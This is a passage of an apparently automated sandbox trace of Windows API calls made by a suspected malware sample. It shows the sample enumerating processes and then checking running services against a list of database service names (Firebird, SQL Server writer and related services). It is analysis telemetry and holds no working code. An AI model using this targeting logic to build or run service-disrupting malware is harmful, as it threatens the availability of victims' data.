lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.318] lstrlenW (lpString="svchost.exe") returned 11 [0258.318] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.319] lstrlenW (lpString="svchost.exe") returned 11 [0258.319] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.320] lstrlenW (lpString="svchost.exe") returned 11 [0258.320] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.321] lstrlenW (lpString="svchost.exe") returned 11 [0258.322] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0258.323] lstrlenW (lpString="audiodg.exe") returned 11 [0258.323] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.324] lstrlenW (lpString="svchost.exe") returned 11 [0258.324] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0258.325] lstrlenW (lpString="explorer.exe") returned 12 [0258.325] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0258.326] lstrlenW (lpString="dwm.exe") returned 7 [0258.326] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.327] lstrlenW (lpString="svchost.exe") returned 11 [0258.327] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0258.328] lstrlenW (lpString="winhost.exe") returned 11 [0258.328] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0258.329] lstrlenW (lpString="spoolsv.exe") returned 11 [0258.329] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0258.331] lstrlenW (lpString="svchost.exe") returned 11 [0258.331] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0258.332] lstrlenW (lpString="taskhost.exe") returned 12 [0258.332] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0258.333] lstrlenW (lpString="reader_sl.exe") returned 13 [0258.333] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0258.334] lstrlenW (lpString="taskhost.exe") returned 12 [0258.334] Process32NextW (in: hSnapshot=0x394, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0258.335] CloseHandle (hObject=0x394) returned 1 [0258.335] Sleep (dwMilliseconds=0x1f4) [0259.112] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e270 [0259.665] EnumServicesStatusExW (in: hSCManager=0x62e270, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0259.666] GetLastError () returned 0xea [0259.666] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x113e) returned 0x4332cd8 [0259.666] EnumServicesStatusExW (in: hSCManager=0x62e270, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x4332cd8, cbBufSize=0x113e, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x4332cd8, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0259.668] CloseServiceHandle (hSCObject=0x62e270) returned 1 [0259.670] lstrlenW (lpString="Appinfo") returned 7 [0259.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0259.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0259.670] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0259.670] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0259.670] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0259.670] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0259.670] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0259.670] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0259.670] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0259.670] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0259.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0259.671] lstrlenW (lpString="AudioSrv") returned 8 [0259.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0259.671] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0259.671] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0259.671] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0259.671] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0259.671] lstrlenW (lpString="BFE") returned 3 [0259.671] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0259.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0259.672] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0259.672] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0259.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0259.672] lstrlenW (lpString="CryptSvc") returned 8 [0259.672] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0259.672] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0259.672] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0259.672] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0259.672] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0259.672] lstrlenW (lpString="CscService") returned 10 [0259.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0259.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0259.673] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0259.673] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0259.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0259.673] lstrlenW (lpString="DcomLaunch") returned 10 [0259.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0259.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0259.673] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0259.673] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0259.673] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0259.673] lstrlenW (lpString="Dhcp") returned 4 [0259.673] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0259.673] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0259.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0259.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0259.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0259.674] lstrlenW (lpString="Dnscache") returned 8 [0259.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0259.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0259.674] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0259.674] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0259.674] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0259.674] lstrlenW (lpString="DPS") returned 3 [0259.674] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0259.674] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0259.675] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0259.675] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0259.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0259.675] lstrlenW (lpString="eventlog") returned 8 [0259.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0259.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0259.675] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0259.675] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0259.675] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0259.675] lstrlenW (lpString="EventSystem") returned 11 [0259.675] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0259.675] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0259.676] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0259.676] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0259.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0259.676] lstrlenW (lpString="gpsvc") returned 5 [0259.676] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0259.676] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0259.676] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0259.676] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0259.676] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0259.677] lstrlenW (lpString="iphlpsvc") returned 8 [0259.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0259.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0259.677] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0259.677] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0259.677] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0259.677] lstrlenW (lpString="LanmanServer") returned 12 [0259.677] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0259.677] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0259.678] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0259.678] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0259.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0259.678] lstrlenW (lpString="LanmanWorkstation") returned 17 [0259.678] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0259.678] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0259.678] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0259.678] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0259.678] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0259.679] lstrlenW (lpString="lmhosts") returned 7 [0259.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0259.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0259.679] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0259.679] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0259.679] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0259.679] lstrlenW (lpString="MMCSS") returned 5 [0259.679] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0259.679] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0259.679] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0259.680] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0259.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0259.680] lstrlenW (lpString="MpsSvc") returned 6 [0259.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0259.680] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0259.680] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0259.680] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0259.680] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0259.680] lstrlenW (lpString="Netman") returned 6 [0259.680] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0259.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0259.681] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0259.681] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0259.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0259.681] lstrlenW (lpString="netprofm") returned 8 [0259.681] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0259.681] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0259.681] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0259.681] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0259.681] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0259.681] lstrlenW (lpString="NlaSvc") returned 6 [0259.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0259.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0259.682] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0259.682] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0259.682] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0259.682] lstrlenW (lpString="nsi") returned 3 [0259.682] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0259.682] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0259.682] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0259.682] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0259.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0259.683] lstrlenW (lpString="PcaSvc") returned 6 [0259.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0259.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0259.683] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0259.683] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0259.683] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0259.683] lstrlenW (lpString="PlugPlay") returned 8 [0259.683] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0259.683] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0259.683] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0259.684] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0259.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0259.684] lstrlenW (lpString="Power") returned 5 [0259.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0259.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0259.684] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0259.684] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0259.684] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0259.684] lstrlenW (lpString="ProfSvc") returned 7 [0259.684] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0259.684] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0259.685] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0259.685] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0259.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0259.685] lstrlenW (lpString="RpcEptMapper") returned 12 [0259.685] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0259.685] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0259.685] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0259.685] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0259.685] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0259.685] lstrlenW (lpString="RpcSs") returned 5 [0259.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0259.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0259.686] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0259.686] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0259.686] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0259.686] lstrlenW (lpString="SamSs") returned 5 [0259.686] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0259.686] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0259.686] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0259.686] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0259.687] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0259.687] lstrlenW (lpString="Schedule") returned 8 [0259.687] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0259.688] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0259.688] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0259.688] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0259.688] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0259.688] lstrlenW (lpString="SENS") returned 4 [0259.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0259.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0259.689] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0259.689] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0259.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0259.689] lstrlenW (lpString="ShellHWDetection") returned 16 [0259.689] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0259.689] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0259.689] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0259.689] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0259.689] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0259.689] lstrlenW (lpString="Spooler") returned 7 [0259.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0259.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0259.690] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0259.690] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0259.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0259.690] lstrlenW (lpString="SysMain") returned 7 [0259.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0259.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0259.690] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0259.690] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0259.690] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0259.690] lstrlenW (lpString="Themes") returned 6 [0259.690] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0259.690] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0259.691] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0259.691] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0259.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0259.691] lstrlenW (lpString="TrkWks") returned 6 [0259.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0259.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0259.691] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0259.691] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0259.691] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0259.691] lstrlenW (lpString="UxSms") returned 5 [0259.691] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0259.691] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0259.691] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0259.691] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0259.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0259.692] lstrlenW (lpString="WdiServiceHost") returned 14 [0259.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0259.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0259.692] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0259.692] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0259.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0259.692] lstrlenW (lpString="WdiSystemHost") returned 13 [0259.692] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0259.692] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0259.692] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0259.692] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0259.692] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0259.693] lstrlenW (lpString="Winmgmt") returned 7 [0259.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0259.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0259.693] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0259.693] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0259.693] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0259.693] lstrlenW (lpString="WPDBusEnum") returned 10 [0259.693] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0259.693] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0259.693] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0259.693] lstrcmpiW 